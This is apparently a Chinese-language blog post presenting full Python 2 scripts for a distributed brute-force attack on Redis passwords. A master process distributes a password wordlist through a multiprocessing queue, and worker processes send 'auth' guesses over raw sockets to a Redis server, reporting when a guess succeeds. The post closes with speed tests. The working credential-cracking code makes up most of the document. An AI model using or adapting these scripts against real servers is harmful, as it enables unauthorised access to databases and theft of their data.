redis密码破解(Python使用multiprocessing分布式进程)
前面redis密码破解都是在一台机器单进程运行的,于是想如果在多台机器分布式运行,速度会不会快点,用Python的multiprocessing模块的managers子模块写了个破解程序,代码如下:
master端,代码如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 18-12-26 下午6:10
# @Author : Liping
# @Site :
# @File : distributedRedisCrack.py
# @Software: PyCharm
import Queue,threading
import sys
from multiprocessing.managers import BaseManager
redisPass="redisPass.txt"
putQueue=Queue.Queue()
resultQueue=Queue.Queue()
class QueueManager(BaseManager):
pass
# BaseManager类里面的register方法为类方法,所以能不实例化直接用类名调用。
QueueManager.register('get_task_queue', callable=lambda: putQueue)
QueueManager.register('get_result_queue', callable=lambda: resultQueue)
m=QueueManager(address=("",12345),authkey=b'123abc')
m.start()
task=m.get_task_queue()
result=m.get_result_queue()
def putDictPassword(passFile,taskQueue):
with open(passFile,"r") as f:
for i in f:
taskQueue.put(i)
# time.sleep(0.01)
# 引入线程目的是为了将读文件放入队列异步执行,不需要将全部密码文本读入队列后在进入下一步,因为正确密码可能在密码文件中间,获取正确破解结果后程序可以退出。
t = threading.Thread(target=putDictPassword,args=(redisPass,task))
t.setDaemon(True)
t.start()
while True:
try:
r=result.get(timeout=30)
if r[0]=="cracked":
print "redis password have been cracked,the pass is: %s" %r[1]
m.shutdown()
sys.exit(0)
except Queue.Empty:
print "password not in the redisPass"
break
slave的worker代码如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 18-12-29 下午8:15
# @Site :
# @File : distributedRedisCrackSlave.py
# @Software: PyCharm
import Queue
import sys,socket
from multiprocessing.managers import BaseManager
redisHost="192.168.36.3"
redisPort=6379
server_addr = '192.168.36.1'
class QueueManager(BaseManager):
pass
QueueManager.register('get_task_queue')
QueueManager.register('get_result_queue')
m=QueueManager(address=(server_addr,12345),authkey=b'123abc')
m.connect()
task=m.get_task_queue()
result=m.get_result_queue()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((redisHost,redisPort))
# while not task.empty(): #不能用此判断slave端进程退出,因为slave队列接收速度可能超过master发送端的发送速度,造成slave端队列只接收了部分数据就退出了。
while True:
try:
key=task.get(timeout=20)
print key
s.send("auth %s \n" % (key))
authResult = s.recv(1024)
if '+OK' in authResult:
result.put(("cracked",key))
s.close()
sys.exit(0)
else:
result.put(("invalid password"))
except Queue.Empty:
print "no more key have get,quit"
break
测试速度如下:
1. 生成100万数字,将正确密码写入密码文本最后一行。
2 测试原来单进程模式,利用socket模块的破解时间,100万行密码文本,速度30s左右。
3.分布式进程破解,利用2个slave端进程破解,速度如下:
4.分布式进程破解,利用3个slave端进程破解,速度如下:
如上图,3个slave破解进程,redis服务端有3个tcp连接。
5.分布式进程破解,利用6个slave端进程破解,速度如下:
综合上面测试结果,分布式进程模式下,速度还远不如单进程模式;增加slave端worker进程的情况下,速度没有提升,甚至还有下降,说明分布式进程模式下,瓶颈在master和slave端队列的发送接收的开销。单进程模式下,进程读取一行文本到内存立马会用此文本用socket模块验证;分布式进程模式下,master端进程读取文本放入队列,slave端进程读取队列文本在用socket模块验证,中间有大量的序列化反序列化,网络开销等。